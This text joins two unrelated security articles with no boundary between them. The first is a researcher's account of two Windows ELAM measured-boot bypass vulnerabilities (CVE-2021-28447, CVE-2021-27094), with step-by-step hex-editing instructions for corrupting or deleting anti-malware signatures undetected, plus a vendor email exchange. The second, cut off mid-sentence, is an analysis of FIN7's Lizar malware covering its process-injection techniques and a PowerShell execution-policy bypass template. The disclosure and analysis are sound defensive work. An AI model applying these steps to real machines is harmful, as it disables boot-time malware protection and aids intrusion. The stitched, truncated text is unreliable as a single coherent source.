Early Launch Anti-Malware
Before moving to the vulnerabilities, let us take a look at an early anti-malware interface provided by the Windows kernel (ntoskrnl.exe).
If two major boot security concepts, verified boot and measured boot, work as expected and intended, and no hardware/firmware vulnerabilities are considered, the earliest insertion point for malware is a boot-start driver.
To combat malicious boot-start drivers, Microsoft introduced an interface called Early Launch Anti-Malware (ELAM). This happened in Windows 8 [7].
A Microsoft-signed ELAM driver starts before other drivers and validates them as well as their linked dependencies. For each boot-start driver, an ELAM driver can return the following values:
This driver is unknown (not identified as good or bad);
This driver is good (not malicious);
This driver is bad (malicious);
This driver is bad (malicious) but critical for the boot process (the operating system won’t boot without this driver).
Additionally, an ELAM driver can install a callback to record registry operations performed by boot-start drivers. These records can be sent to a runtime anti-malware component.
Anti-malware software using an own ELAM driver is allowed to run as a protected service. Such a service is given code integrity protections, this feature was introduced in Windows 8.1 [8].
More than one ELAM driver can be active during the boot process. Each ELAM driver checks a given boot-start driver independently and a final decision for this driver is based on the following scores (ranks):
A decision with a higher score (rank) wins. So, if one ELAM driver returns “good” and another ELAM driver returns “bad”, the final decision for this boot-start driver is “bad”.
Based on this decision and a policy, the kernel allows or denies a boot-start driver. The following policies can be configured:
All drivers are allowed;
Only good, unknown, and bad but critical drivers are allowed (by default);
Only good and unknown drivers are allowed;
Only good drivers are allowed.
The following data can be utilized by an ELAM driver to make a decision:
The path to the driver file;
The registry path to a corresponding service entry;
Certificate information for the driver (a publisher, an issuer, and a thumbprint);
The image (file) hash.
Importantly, file contents are not exposed to an ELAM driver, so there is no way to apply traditional malware signatures (when the principle of Dynamic Root of Trust for Measurement, DRTM, is applied, it would be impossible to read anything from a drive before relevant drivers have been initialized, because the firmware functionality previously used to read boot-start drivers into the memory is untrusted [9]). However, blocking malicious boot-start drivers by their paths, hashes, and certificates is expected to be effective.
Microsoft defined some additional rules:
An ELAM driver is given a limited time to check a single boot-start driver;
An ELAM driver is given a limited time to check all boot-start drivers;
An ELAM driver is given a limited amount of memory for its code and configuration data;
An ELAM driver must store its signatures in an ELAM registry hive (C:\Windows\System32\config\ELAM), under a specific registry key (named after an anti-malware vendor);
An ELAM driver must validate its signatures;
An ELAM driver must handle invalid signatures (in this case, it should treat all boot-start drivers as unknown);
An ELAM driver should revoke the attestation (invalidate the measured boot state) when a malicious boot-start driver (or another policy violation) is identified.
When the ELAM interface first appeared, it was believed to be nearly useless [10]. A bootkit could completely bypass an ELAM driver by writing its malicious code into a volume boot record (VBR) or by replacing an initial program loader (IPL), both are executed before the Windows kernel and, thus, before the ELAM interface. But the proliferation of verified/measured boot raised the bar, you can no longer say the ELAM interface is nearly useless.
ELAM and Measured Signatures
During measured boot, ELAM signatures are read and then measured by the Windows loader [11]. This puts ELAM signatures into the chain of trust, so missing or downgraded signatures can be detected and reported during the attestation.
Not all possible locations of ELAM signatures are measured, but only those stored in specific registry values within the ELAM hive (these values are called “Measured”, “Policy”, and “Config”, all of them can contain vendor-specific data; registry values with different names or with types other than REG_BINARY are not measured).
It is important to mention that ELAM signatures are measured by the Windows loader, but the ELAM interface is provided by the Windows kernel.
Real-World ELAM Drivers
In February 2021, I reverse-engineered ELAM drivers shipped with popular anti-malware products (those without ELAM drivers were out of scope). In total 26 products having 25 unique ELAM drivers (two products share exactly the same ELAM driver), with 24 installed in the default configuration (one product writes its ELAM driver to a system volume, but no corresponding registry entry is created, the reason is unclear).
Interestingly, all ELAM drivers examined had embedded certificate information required for launching a protected anti-malware service, but most of them (15 out of 26) do not do any checks against boot-start drivers and either return a hard-coded decision (11 out of those 15) or do not provide decisions at all (4 out of those 15). These ELAM drivers will be referred to as placeholder drivers. Two ELAM drivers record boot-start driver information for a runtime anti-malware component (but no actual checks are performed in the ELAM drivers, the decision is always “unknown”). One ELAM driver reports all boot-start drivers as “good” (with no actual checks performed).
11 ELAM drivers perform at least some checks against boot-start drivers (the exact nature of these checks and the number of existing malware signatures were out of scope). One of them has a hard-coded list of known good certificates (the ELAM hive is not used to store signature data), two use both the ELAM hive and the SYSTEM hive for signature data, one uses the ELAM hive and then the SYSTEM hive as a fallback for signature data, seven read signature data from the ELAM hive only.
Only two (out of those 11) ELAM drivers can revoke the attestation, others never call a corresponding routine.
Now, let us mention some of the names.
Surprisingly, the ELAM driver shipped with Windows Defender does not follow all of the rules: it uses the SYSTEM hive as a fallback location for signature data (besides the ELAM hive, which is a primary location) and it does not revoke the attestation when a malicious boot-start driver is detected.
The ELAM driver shipped with Kaspersky and ZoneAlarm products (ZoneAlarm uses exactly the same ELAM driver as made by Kaspersky) can read signature data from two locations: the ELAM hive and the SYSTEM hive. And it does not revoke the attestation too.
The ELAM driver shipped with Sophos products simply marks all boot-start drivers as “good”. This was reported as a security issue to Sophos, but they consider it as an intended feature, which does not weaken the security, see Appendix I.
Detailed results can be found in Appendix II.
To summarize, most anti-malware products do not use their ELAM drivers to scan for malicious boot-start drivers. Instead, they utilize ELAM drivers to launch themselves as protected services and the core ELAM functionality is limited to either providing a single hard-coded decision or no decisions at all.
ELAM Hive
The ELAM hive is stored at this location: C:\Windows\System32\config\ELAM.
This a registry file, its binary format has been fully described in my previous work [12]. Readers are encouraged to make themselves familiar with this format first.
There are several key points required to understand the vulnerabilities:
A key node (a binary structure used to describe a single registry key) can point to a subkeys list (which is a list of offsets to key nodes describing subkeys of this registry key);
Similarly, a key node can point to a values list (a list of offsets to key values, each key value describes a single registry value belonging to this registry key);
An offset equal to 0xFFFFFFFF does not point anywhere (this value is used to express “nil”);
Such offsets are not absolute, one needs to add 4096 bytes to get an offset from the beginning of a registry file (and each structure is preceded with the four-byte size field, it is a cell header, and cell data is a structure itself);
A key node and a key value store a name of this registry key and a name of this registry value respectively, this could be either an extended ASCII (Latin-1) string or an UTF-16LE string (name strings that can be stored as extended ASCII strings are compressed into this form);
A subkeys list must be sorted by an uppercase name of a subkey (the lexicographical order) in order to enable case-insensitive binary search across subkeys;
On the other hand, a values list is not required to be sorted;
A key value records the data type of this registry value (for example, REG_BINARY) and points to value data;
Value data not larger than four bytes is stored directly in a key value;
Value data larger than four bytes is stored at a different offset, this offset is recorded in a key value;
Value data larger than 16344 bytes is stored in segments of 16344 bytes or less (for the last segment of value data), offsets to these segments are referenced in a list, an offset to this list is stored in a big data record, an offset to this record is stored in a key value (this applies to the hive format versions 1.4, 1.5, and 1.6, previous versions store value data as described previously, without using segments).
An example walk-through of a registry file is below:
There are several implementation details worth noting:
When a registry hive is mounted (loaded), it is checked for format violations. When a format violation is detected, an attempt is made to correct it or to delete a related registry structure, including references to this structure (this decision is based on what exactly is wrong);
In particular, the lexicographical order of elements in all subkeys lists is checked. If a comparison of two subkeys, the current key and the preceding one in a given list, reveals that they are in the wrong order, the current key is deleted;
Usually, when a hive is mounted, usermode applications can not write to its underlying file because it is locked. When an operating system has finished the boot, the ELAM hive is kept unmounted. This is for performance reasons;
The ELAM hive is using the format version 1.5. So, big data records can be encountered in this hive;
During the early boot, the Windows loader reads the ELAM hive into a single chunk of memory.
Measured Boot Vulnerabilities
In late 2020 and early 2021, I discovered and reported two vulnerabilities that allow a malicious program running with administrator privileges to corrupt, downgrade, or delete ELAM signatures without affecting the measured boot process.
In particular, the Windows loader measures expected registry values in the ELAM hive, while the Windows kernel sees different registry data in that hive, containing either corrupt or downgraded ELAM signatures, or having no corresponding registry values at all (thus, no ELAM signatures).
These vulnerabilities exploit differences in registry parsing code found in the Windows loader and the Windows kernel.
Both vulnerabilities were found eligible for a bounty. For CVE-2021–27094, it took more than 90 days to deploy a fix. And this fix resulted in a data corruption issue.
CVE-2021–28447
This vulnerability is pretty straightforward.
When measuring ELAM values with data larger than 16344 bytes, the Windows loader does not parse a big data record encountered. Thus, if an ELAM blob being measured is larger than 16344 bytes, it is measured incorrectly.
This is a decompiled function used to get value data for measured ELAM values:
This function has no checks for the hive format version, value data size, and no code for handling the big data record.
The function reads a cell pointed by the KeyValue->Data field. In usual cases, when value data is not larger than 16344 bytes, this cell would contain entire value data (thus, the memmove() call just moves this data into a heap variable, Heap).
When value data is larger than 16344, this cell would contain the big data structure (as seen in Fig. 7). The function won’t parse this structure, but use it as value data (which is obviously wrong).
Since the hive is loaded into a single chunk of memory and a big data record is smaller than the expected value data size, the memmove() call actually copies this big data record and subsequent registry data from a loaded registry file into the heap variable.
So, the Windows loader does not measure proper value data. Instead, it measures registry file internals, starting from the big data record and going further up to the value data size.
Under specific conditions, this allows an attacker to modify ELAM blobs without affecting their measurements.
For example, if value data segments are stored before the big data record (at a lower offset within the registry file), they are not included in the Heap variable, which is then measured. Thus, real value data is not measured at all.
Alternatively, if value data segments are stored after the big data record, they are not measured completely (trailing value data is beyond the range starting at the big data record and going further up to the value data size). Thus, it is possible to alter trailing value data without changing the hash calculated during the measurement.
Since the ELAM hive is not loaded after the boot, it is possible to alter it in any way (for example, by using a HEX editor), thus an attacker is not bound to standard and native API calls when modifying the registry file.
Root cause
Apparently, this vulnerability was caused by legacy code lacking support for the big data record case. Previously, there was no need to read such registry values in the Windows loader.
Fix
Microsoft fixed the vulnerability by implementing the support for the big data record case in the Windows loader. This vulnerability does not affect ELAM drivers evaluated — their ELAM blobs do not reach the threshold of 16344 bytes.
Original vulnerability report
# Summary
When an ELAM driver stores a binary larger than 16344 bytes in one of three measured values (called "Measured", "Policy", or "Config") within the ELAM hive ("C:\Windows\System32\config\ELAM"), this binary isn't measured correctly by the Windows loader (winload.exe or winload.efi).
Under specific conditions, a modification made to an ELAM blob won't result in different PCR values, thus not affecting the measured boot (since PCR values are equal to the expected ones).
# Description
## Steps to reproduce
(Screenshots attached.)
1. Mount the ELAM hive using a registry editor.
2. Add a new key under the root of the ELAM hive. Assign a new value to this key (in this report, the value will be called "Measured").
3. Write more than 16344 bytes of data to that value (see: "01-elam-blob.png").
4. Unmount the ELAM hive.
5. Reboot the system.
6. During the boot, the Windows loader measures data starting from the beginning of the CM_BIG_DATA structure as pointed by the CM_KEY_VALUE structure describing the "Measured" value (see: "02-elam-blob-measured.png"). Since the expected data length is larger than the CM_BIG_DATA structure, subsequent bytes of the hive file (actually, from the memory region used to store the hive file loaded) are included into the measurement (instead of actual value data).
7. After the boot, change (using a registry editor) several bytes within the value data, without altering the data size (see: "03-elam-blob-altered.png").
8. Reboot the system.
9. During the boot, the Windows loader will see the same CM_BIG_DATA structure and subsequent bytes as value data (see: "04-elam-blob-altered-measured.png").
## Root cause
The Windows loader doesn't support parsing value data stored using the CM_BIG_DATA structure. This structure is used when the hive format version is 1.4 or newer and value data to be stored is larger than 16344 bytes.
The ELAM hive uses the format version 1.5. Thus, the CM_BIG_DATA structure is supported in the NT kernel, but not in the Windows loader.
The OslGetBinaryValue routine (in the Windows loader) provides back a pointer to cell data containing the CM_BIG_DATA structure instead of parsing this and related structures and then providing a pointer to consolidated data segments.
## Attack scenarios
First, ELAM blobs larger than 16344 bytes aren't measured correctly. This is a serious security issue by itself.
Finally, if an ELAM driver uses existing measured ELAM blobs larger than 16344 bytes, a malicious usermode program could alter (corrupt or downgrade) these blobs without affecting the measured boot.
Such an attack is possible when: * a list of cells containing value data segments is stored before the CM_BIG_DATA structure, or * such value data segments are stored before the CM_BIG_DATA structure, or * a list of cells containing value data segments and such value data segments are all stored after the CM_BIG_DATA structure, but there is a large gap after the CM_BIG_DATA structure (which isn't smaller than the defined value data size, so the hash calculation won't reach the actual value data, or it's smaller than that, but the hash calculation doesn't reach the modified bytes of actual value data).
Under any specific condition defined above, changing offsets to value data segments or changing value data segments respectively won't be noticed during the measurement. (Since the hash is calculated over the internals of the hive file, but not over the actual value data.)
Since the ELAM hive isn't loaded after the boot, a malicious usermode program can open it and alter its data in any way possible (this is not limited to registry functions exposed by the Advapi32 library, the hive file can be opened and edited in a HEX editor), thus exploiting any pre-existing condition defined above.
## Possible solution
Handle the CM_BIG_DATA structure when parsing a registry value using the Windows loader.
The screenshots are attached below.
CVE-2021–27094
This vulnerability is slightly more complicated.
When loading a hive, either in the Windows loader or in the Windows kernel, it is checked for format violations. These checks are performed twice for hives loaded by the Windows loader and then passed to the Windows kernel in the memory (this includes the ELAM hive).
In the Windows loader and in the Windows kernel, these checks are similar, but not the same. In particular, the Windows loader does not check the lexicographical order of elements in subkeys lists.
Since the ELAM hive is used by an ELAM driver launched by the Windows kernel, this inserts the lexicographical order check between the measurement of ELAM blobs by the Windows loader and their usage by an ELAM driver. It is possible to exploit this check to remove a registry key containing an ELAM blob after it has been measured by the Windows loader, but before it is used by an ELAM driver.
In order to achieve this, an attacker needs to insert an empty (containing no values) key into the ELAM hive, under its root key (this could be done by mounting the hive and then using standard API calls to create a key, the hive should be unmounted before proceeding to the next step), then break the order of subkeys in a way that would force a key with a measured ELAM blob to be deleted by the Windows kernel (during the check). The last step requires an attacker to open the hive file in a HEX editor for moving the elements in a corresponding subkeys list (so this hive must be unmounted). (The same could be done automatically, of course.)
Let us take a look at the following layout of the ELAM hive:
Key: Windows Defender · Value: Measured
Key: zz · No values
(The order of keys reflects the order of key node offsets in a subkeys list of a root key.)
This layout is valid, it could be created using standard API calls. The attacker needs to modify the subkeys list to get the following layout:
Key: zz · No values
Key: Windows Defender · Value: Measured
(This could be achieved by reversing the order of two elements in a subkeys list.)
Now, the lexicographical order is broken:
Upcase(“zz”) > Upcase(“Windows Defender”)
The Windows kernel will delete the “Windows Defender” key before it is used by an ELAM driver.
But the Windows loader won’t notice this corruption. It will skip the “zz” key (it has no values to be measured) and measure the “Measured” value found in the “Windows Defender” key.
So, we have a situation when an ELAM blob is measured as expected, but it is deleted before an ELAM driver is executed, thus before this blob is used.
Root cause
This vulnerability is caused by an absent check for the lexicographical order of elements in a subkeys list. Apparently, this check has been deliberately removed from the Windows loader because Unicode key names are allowed and there is no way to do case-insensitive comparisons without a proper uppercase table (a table used to convert characters into their corresponding uppercase versions).
Since the Unicode uppercase table is used by the Windows kernel, this check is implemented there. This also requires running the checks twice (relaxed checks in the Windows loader and complete checks for previously loaded hives in the Windows kernel).
Interestingly, the current implementation requires the SYSTEM hive to be loaded before loading the NLS tables (which include the Unicode uppercase table), although this can be refactored for Unicode characters.
Fix
Microsoft fixed the vulnerability by introducing the lexicographical order check in the Windows loader. Since the Unicode uppercase table is not used by the Windows loader, this fix is limited to key names using ASCII characters only. Currently, no ELAM drivers are known for using non-ASCII characters in key names.
The fix also causes a serious data corruption issue when checking the SYSTEM hive — this hive, like the ELAM hive, is loaded during the early boot. However, it is likely to contain keys with non-ASCII names.
Since the Unicode comparison functions available in the Windows loader do not use the Unicode uppercase table, there is no reliable way to check non-ASCII characters. The following implementation is used by the Windows loader to compare two key names (with case-insensitivity):
As you can see, for characters with codes higher than “z” (“a” + 0x19), no conversion is done. In this implementation, an uppercase version of “я” is “я”, not “Я”.
The same function implemented in the Windows kernel uses the Unicode uppercase table, so an uppercase version of “я” is “Я”. And elements in subkeys lists within the SYSTEM hive will be sorted based on this implementation. But, during the boot, they are checked using the implementation found in the Windows loader.
So, the Windows loader will consider a properly sorted subkeys list as corrupted. Then, it will delete registry keys with “offending” names.
To reproduce the issue, create two registry keys with names “я1” and “Я2” in the SYSTEM hive, under the same parent registry key, then reboot the machine. After the boot, one key, “Я2”, will be deleted. It happens because the subkeys list is sorted by the Windows kernel like this:
я1
Я2
In the Windows loader, this order is treated as broken:
Upcase(“я1”) > Upcase(“Я2”), because Upcase(“я1”) = “я1”
Microsoft confirmed the corruption but stated that it is beyond the scope, thus they won’t keep me updated.
Original vulnerability report
# Summary
A malicious usermode program can modify the ELAM hive ("C:\Windows\System32\config\ELAM"), so its blobs (registry values called "Measured", "Policy", and "Config") are correctly measured on the next boot, but the ELAM driver won't see them because registry keys containing these blobs are deleted by the NT kernel (even before the BOOT_DRIVER_CALLBACK_FUNCTION callback is registered). This results in proper (expected) PCR values but registry values (the ones previously measured) are absent when the ELAM driver tries to read them. So, the system will boot without proper ELAM signatures and this won't affect the measured boot.
# Description
## Steps to reproduce
(Screenshots attached.)
1. Mount the ELAM hive using a registry editor.
2. Add the "zz" key under the root key of the ELAM hive, don't assign any values to this key (see: "01-regedit.png").
3. Unmount the ELAM hive.
4. Open the ELAM hive file in a HEX editor (you can open it because it's not loaded), locate the subkeys list (subkeys of the root key), move the "zz" key to the first position on that list. (A key that was the first one before the move should now occupy the second position on the list. If there are three subkeys, just exchange the first and last keys on the list.)
The idea is to break the lexicographical order of subkeys. So, "1 2" becomes "2 1" and "1 2 3" becomes "3 2 1" (see: "02-hexeditor-intact.png" and "03-hexeditor-modified.png" for "before" and "after" states of the hive file respectively).
5. Reboot the system.
6. When the Windows loader (winload.exe or winload.efi) reads the ELAM hive, it doesn't check the lexicographical order of subkeys (see: "04-leaf-as-loaded-by-winload.png"). It's okay for the Windows loader if subkeys are stored in a wrong order.
7. When the Windows loader measures the ELAM hive (in the OslpMeasureEarlyLaunchHive routine), it reads subkeys one-by-one and measures their values (called "Measured", "Policy", and "Config").
8. If you manage to break the lexicographical order of subkeys by inserting empty keys and keeping real (non-empty) keys in the same order (relative to each other, not counting the empty keys), then the Windows loader will measure the usual (expected) data. This can be easily demonstrated with one key – "Windows Defender". If you insert the "zz" key using a registry editor, it goes to the end of the subkeys list. Like this:
- Windows Defender - zz
If you move the "zz" key to the top (using a HEX editor), the lexicographical order is broken, but since the "zz" key has no values, it doesn't get measured. And the "Windows Defender" is measured as usual.
9. When the NT kernel starts, it takes hives attached to the loader parameter block and validates them. At this point, the validation routine checks the lexicographical order. If a subkeys list isn't sorted, offending keys are removed from the list (see: "05-leaf-as-loaded-by-kernel.png", "06-leaf-as-loaded-by-kernel.png", and "07-leaf-after-check-by-kernel.png"). This means that the "Windows Defender" key from the example above is removed.
10. When the ELAM driver tries to locate its signatures, they are gone – they were removed by the NT kernel because of the hive format violation (see: "08-leaf-as-seen-by-elam.png").
## Possible solutions
Either check the lexicographical order of subkeys in the Windows loader (which requires you to pick the NLS tables first) or measure empty keys together with non-empty ones.
From: Sophos. Date: 2021–02–27. My report: 2021–02–04.
Hi,
Thanks for the interesting report. Driver issues are obviously very important and I was happy to investigate this. I’ve talked with our ELAM driver team and an internal security team. We don’t think this is security concern, but this is not a final decision, if you disagree with the following reasoning, please let me know. There are two sensible reasons why we’re marking files as KnownGoodImage.
Firstly, these files have been checked / scanned. Systems using our ELAM driver should have Sophos endpoint protection installed, which includes on-access scanning of all driver files when they’re written to disk. If they were found to be malicious, we would prevent the driver installation (probably by deleting the file). Since driver files can’t be active until the next boot, any driver files our ELAM driver sees have been judged clean by the endpoint protection component. They are “known good” to the best of our knowledge, so marking them as such seems appropriate.
Secondly, if a system is configured with the GPO set to only allow files marked KnownGoodImage, when legitimate drivers are updated there is a significant chance they change state to Unknown, and this can trigger a BSOD. We have had multiple customers report this on real machines. There is what I believe is a reference to this in the ELAM documentation, see section “Boot Failures”:
Is that description clear? Can you see any weaknesses in the approach, or describe a scenario where an attacker could cause harm due to our behaviour?
Regarding disclosure of problems, we greatly prefer coordinated disclosure, so that if a problem is identified, a fix is available from us before disclosure occurs. Currently, I don’t think a problem has been identified. We take driver level issues very seriously and if we can find a valid attack, we will want to fix this with high priority.
From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit
The article was prepared by BI.ZONE Cyber Threats Research Team
This is not the first time we have come across a cybercriminal group that pretends to be a legitimate organisation and disguises its malware as a security analysis tool. These groups hire employees who are not even aware that they are working with real malware or that their employer is a real criminal group.
One such group is the infamous FIN7 known for its APT attacks on various organisations around the globe. Recently they developed Lizar (formerly known as Tirion), a toolkit for reconnaissance and getting a foothold inside infected systems. Disguised as a legitimate cybersecurity company, the group distributes Lizar as a pentesting tool for Windows networks. This caught our attention and we did some research, the results of which we will share in this article.
A few words about FIN7
The APT group FIN7 was presumably founded back in 2013, but we will focus on its activities starting from 2020: that’s when cybercriminals focused on ransomware attacks.
FIN7 compiled a list of victims by filtering companies by revenue using the Zoominfo service. In 2020–2021, we saw attacks on an IT company headquartered in Germany, a key financial institution in Panama, a gambling establishment, several educational institutions and pharmaceuticalcompanies in the US.
For quite some time, FIN7 members have been using the Carbanak backdoor toolkit for reconnaissance purposes and to gain a foothold on infected systems, you can read about it in the series on FireEye’s blog (posts: 1, 2, 3, 4). We repeatedly observed the attackers attempting to masquerade as Check Point Software Technology and Forcepoint.
An example of this can be seen in the interface of Carbanak backdoor version 3.7.4, referencing Check Point Software Technology (Fig. 1).
A new malware package, Lizar, was recently released by the criminals. A report on Lizar version 1.6.4 was previously published online, so we decided to investigate the functionality of the newer version, 2.0.4 (compile date and time: Fri Jan 29 03:27:43 2021), which we discovered in February 2021.
Lizar toolkit architecture
The Lizar toolkit is structurally similar to Carbanak. The components we found are listed in Table 1.
Lizar loader and Lizar plugins run on an infected system and can logically be combined into the Lizar bot component.
Figure 2 shows how Lizar’s tools function and interact.
Lizar client
Lizar client consistes of the following components:
client.ini.xml — XML configuration file;
client.exe — client's main executable;
libwebp_x64.dll — 64-bit version of libwebp library;
libwebp_x86.dll — 32-bit version of libwebp library;
keys — a directory with the keys for encrypting traffic between the client and the server;
plugins/extra — plugin directory (in practice only some plugins are present in this directory, the rest are located on the server);
rat — directory with the public key from Carbanak (this component has been added in the latest version of Lizar).
Below is the content and description of the configuration file (Table 2).
Table 3 shows the characteristics of the discovered client.exe file.
Figure 3 is a screenshot of the interface of the latest client version we discovered.
The client supports several bot commands. The way they look in the GUI can be seen in Fig. 4.
This is what each of the commands does:
Info — retrieve information about the system. The plugin for this command is located on the server. When a result is received from the plugin, the information is logged in the Info column.
Kill — stop plugin.
Period — change response frequency (Fig. 5).
Screenshot — take a screenshot (Fig. 6). The plugin for this command is located on the server. Once a screenshot is taken, it will be displayed in a separate window.
List Processes — get a list of processes (Fig. 7). The plugin for this command is located on the server. If the plugin is successful, the list of processes will appear in a separate window.
Command Line — get CMD on the infected system. The plugin for this command is located on the server. If the plugin executes the command successfully, the result will appear in a separate window.
Executer — launch an additional module (Fig. 8).
Jump to — migrate the loader to another process. The plugin for this command is located on the server. The command parameters are passed through the client.ini.xml file.
New session — create another loader session (run a copy of the loader on the infected system).
Mimikatz — run Mimikatz.
Grabber — run one of the plugins that collect passwords in browsers and OS. The Grabber tab has two buttons: Passwords + Screens and RDP (Fig. 9). Activating either of them sends a command to start the corresponding plugin.
Network analysis — run one of the plugins to retrieve Active Directory and network information (Fig. 10).
Rat — run Carbanak (RAT). The IP address and port of the server and admin panel are set via the client.ini.xml configuration file (Fig. 11).
We skipped the Company computers command in the general list – it does not have a handler yet, so we cannot determine exactly what it does.
Lizar server
The Lizar server application, similar to the Lizar client, is written using the .NET Framework. However, unlike the client, the server runs on a remote Linux host.
Date and time of the last detected server version compilation: Fri Feb 19 16:16:25 2021.
The application is run using the Wine utility with the pre-installed Wine Mono (wine-mono-5.0.0-x86.msi).
The server application directory includes the following components:
client/keys — directory with encryption keys for proper communication with the client;
loader/keys — directory with encryption keys for proper communication with the loader;
logs — directory with server logs (client-traffic, error, info);
plugins — plugin directory;
ThirdScripts — directory with the ps2x.py script and the ps2p.py helper module. The ps2x.py script is designed to execute files on the remote host and is implemented using the Impacket project. Command templates for this script are displayed in the client application when the appropriate option is selected.
x86 — directory containing the SQLite.interop.dll auxiliary library file (32-bit version).
AV.lst — a CSV file containing the name of the process which is associated with the antivirus product, the name and description of the antivirus product.
Several lines from the AV.lst file:
data.db — a database file containing information on all loaders (this information is loaded into the client application).
server.exe — server application.
server.ini.xml — server application configuration file.
Example contents of the configuration file:
System.Data.SQLite.dll — auxiliary library file.
Communication between client and server
Before being sent to the server, the data is encrypted on a session key with a length ranging from 5 to 15 bytes and then on the key specified in the configuration (31 bytes). The encryption function is shown below.
If the key specified in the configuration (31 bytes) does not match the key on the server, no data is sent from the server.
To verify the key on the side of the server, the client sends a checksum of the key, calculated according to the following algorithm:
Data received from the server is decrypted on a session key with a length ranging from 5 to 15 bytes, then on the same pair of session key and configuration key. Function for decryption:
The client and the server exchange data in binary format. The decrypted data is a list of bots (Fig. 12).
Lizar loader
The Lizar loader is designed to execute commands by running plugins, and to run additional modules. It runs on the infected computer.
As we have already mentioned, Lizar loader and Lizar plugins run on the infected system and can logically be combined into the Lizar bot component. The bot’s modular architecture makes the tool scalable and allows for independent development of all components.
We’ve detected three kinds of bots: DLLs, EXEs and PowerShell scripts, which execute a DLL in the address space of the PowerShell process.
The pseudocode of the main loader function, along with the reconstructed function structure, is shown in Fig. 13.
The following are some of the actions the x_Init function performs:
1. Generate a random key g_ConfigKey31 using the function SystemFunction036. This key is used to encrypt and decrypt the configuration data.
2. Obtain system information and calculate the checksum from the information received (Fig. 14).
3. Retrieve the current process ID (the checksum and PID of the loader process are displayed in the Id column in the client application).
4. Calculate the checksum from the previously received checksum and the current process ID (labelled g_BotId in Figure 13).
5. Decrypt configuration data: list of IP addresses, list of ports for each server. Configuration data is decrypted on 31-byte g_LoaderKey with XOR algorithm. After decryption, the data is re-encrypted on g_ConfigKey31 with an XOR algorithm. The g_LoaderKey is also used when encrypting data sent to the server and when decrypting data received from the server.
6. Initialise global variables and critical sections for some variables. This is needed to access data from different threads.
7. Initialise executable memory for plugin execution.
8. Launch five threads which process the queue of messages from the server. This mechanism is implemented using the PostQueuedCompletionStatus and GetQueuedCompletionStatus functions. Data received from the server is decrypted and sent to the handler (Fig.15).
The handler accepts data using the GetQueuedCompletionStatus function.
The vServerData→ServerData variable contains the plugin body after decryption (look again at Fig. 15). The algorithm's pseudocode for decrypting data received from the server is shown in Fig. 16.
Before being sent to the server, the data structure has to pass through shaping as shown in Fig. 17.
plugins from plugins directory
The plugins in the plugins directory are sent from the server to the loader and are executed by the loader when a certain action is performed in the Lizar client application.
The six stages of the plugins’ lifecycle:
The user selects a command in the Lizar client application interface.
The Lizar server receives the information about the selected command.
Depending on the command and loader bitness, the server finds a suitable plugin from the plugins directory, then sends the loader a request containing the command and the body of the plugin (e.g., Screenshot{bitness}.dll).
The loader executes the plugin and stores the result of the plugin’s execution in a specially allocated area of memory on the heap.
The server retrieves the results of plugin execution and sends them on to the client.
The client application displays the plugin results.
A full list of plugins (32-bit and 64-bit DLLs) in the plugins directory.
CommandLine32.dll
CommandLine64.dll
Executer32.dll
Executer64.dll
Grabber32.dll
Grabber64.dll
Info32.dll
Info64.dll
Jumper32.dll
Jumper64.dll
ListProcess32.dll
ListProcess64.dll
mimikatz32.dll
mimikatz64.dll
NetSession32.dll
NetSession64.dll
rat32.dll
rat64.dll
Screenshot32.dll
Screenshot64.dll
CommandLine32.dll/CommandLine64.dll
The plugin is designed to give attackers access to the command line interface on an infected system.
Sending commands to the cmd.exe process and receiving the result of the commands is implemented via pipes (Fig. 18).
Executer32.dll/Executer64.dll
Executer32.dll/Executer64.dll launches additional components specified in the Lizar client application interface.
The plugin can run the following components:
EXE file from the %TEMP% directory;
PowerShell script from the %TEMP% directory, which is run using the following command: {path to powershell.exe} -ex bypass -noprof -nolog -nonint -f {path to the PowerShell script};
DLL in memory;
shellcode.
The plugin code that runs shellcode is shown in Fig. 19.
Note that the plugin file Executer64.dll contains the path to the PDB: M:\paal\Lizar\bin\Release\Plugins\Executer64.pdb.
Grabber32.dll/Grabber64.dll
Contrary to its name, this plugin has no grabber functionality and is a typical PE loader.
Although attackers call it a grabber, the loaded PE file actually performs the functions of other types of tools, such as a stealer.
Both versions of the plugin are used as client-side grabber loaders: PswRdInfo64 and PswInfoGrabber64.
Info32.dll/Info64.dll
The plugin is designed to retrieve information about the infected system.
The plugin is executed by using the Info command in the Lizar client application. A data structure containing the OS version, user name and computer name is sent to the server.
On the server side, the received structure is converted to a special string (Fig. 20).
Jumper32.dll/Jumper64.dll
The plugin is designed to migrate the loader to the address space of another process. Injection parameters are set in the Lizar client configuration file. It should be noted that this plugin can be used not only to inject the loader, but also to execute other PE files in the address space of the specified process.
Figure 21 shows the main function of the plugin.
From the pseudocode above we see that the loader can migrate to the address space of the specified process in three ways:
by performing an injection into the process with a certain PID;
by creating a process with a certain name and performing an injection into it;
by creating a process with the same name as the current one and performing an injection into it.
Let’s take a closer look at each method.
Algorithm for injection by process ID
OpenProcess — The plugin retrieves the process handle for the specified process identifier (PID).
VirtualAllocEx + WriteProcessMemory — the plugin allocates memory in the virtual address space of the specified process and writes in it the contents to be executed afterwards.
CreateRemoteThread — the plugin creates a thread in the virtual address space of the specified process, with the lpStartAddress serving as the main function of the loader.
If CreateRemoteThread fails, plugin uses the RtlCreateUserThread function (Fig. 22).
Injection algorithm by executable file name
1. The plugin finds the path to the system executable file to be injected. The location of this file depends on the bitness of the loader. 64-bit file is located in %SYSTEMROOT%\System32 directory, 32-bit — in %SYSTEMROOT%\SysWOW64 directory.
2. The plugin creates a process for the received system executable, and receives the identifier of the created process.
Depending on the plugin parameters, there are two ways to implement this step:
If the appropriate flag is set in the structure passed to the plugin, the plugin creates a process in the security context of the explorer.exe process (Fig. 23).
If the flag is not set, the executable file is started by calling the CreateProcessA function (Fig. 24).
3. The plugin allocates memory in the virtual address space of the created process and writes in it the contents, which are to be executed later (VirtualAllocEx + WriteProcessMemory).
4. The plugin runs functions in the virtual address space of the created process in one of the following ways, depending on the bitness of the process:
in case of the 64-bit process, a function is started with another function, shown in Fig. 25;
in case of the 32-bit process, a function is started using the CreateRemoteThread and RtlCreateUserThread functions, which create a thread in the virtual address space of the specified process.
Algorithm for injection into the same-name process
The plugin retrieves the path to the executable file for the process in the address space of which it is running.
The plugin launches this executable file and injects it into the created process.
The pseudocode for this method is shown in Fig. 26.
ListProcesses32.dll/ListProcesses64.dll
This plugin is designed to provide information on running processes (Fig. 27 and 28).
The following can be retrieved for each process:
process identifier;
path to the executable file;
information about the user running the process.
mimikatz32.dll/mimikatz64.dll
The Mimikatz plugin is a wrapper for client-side Powerkatz modules:
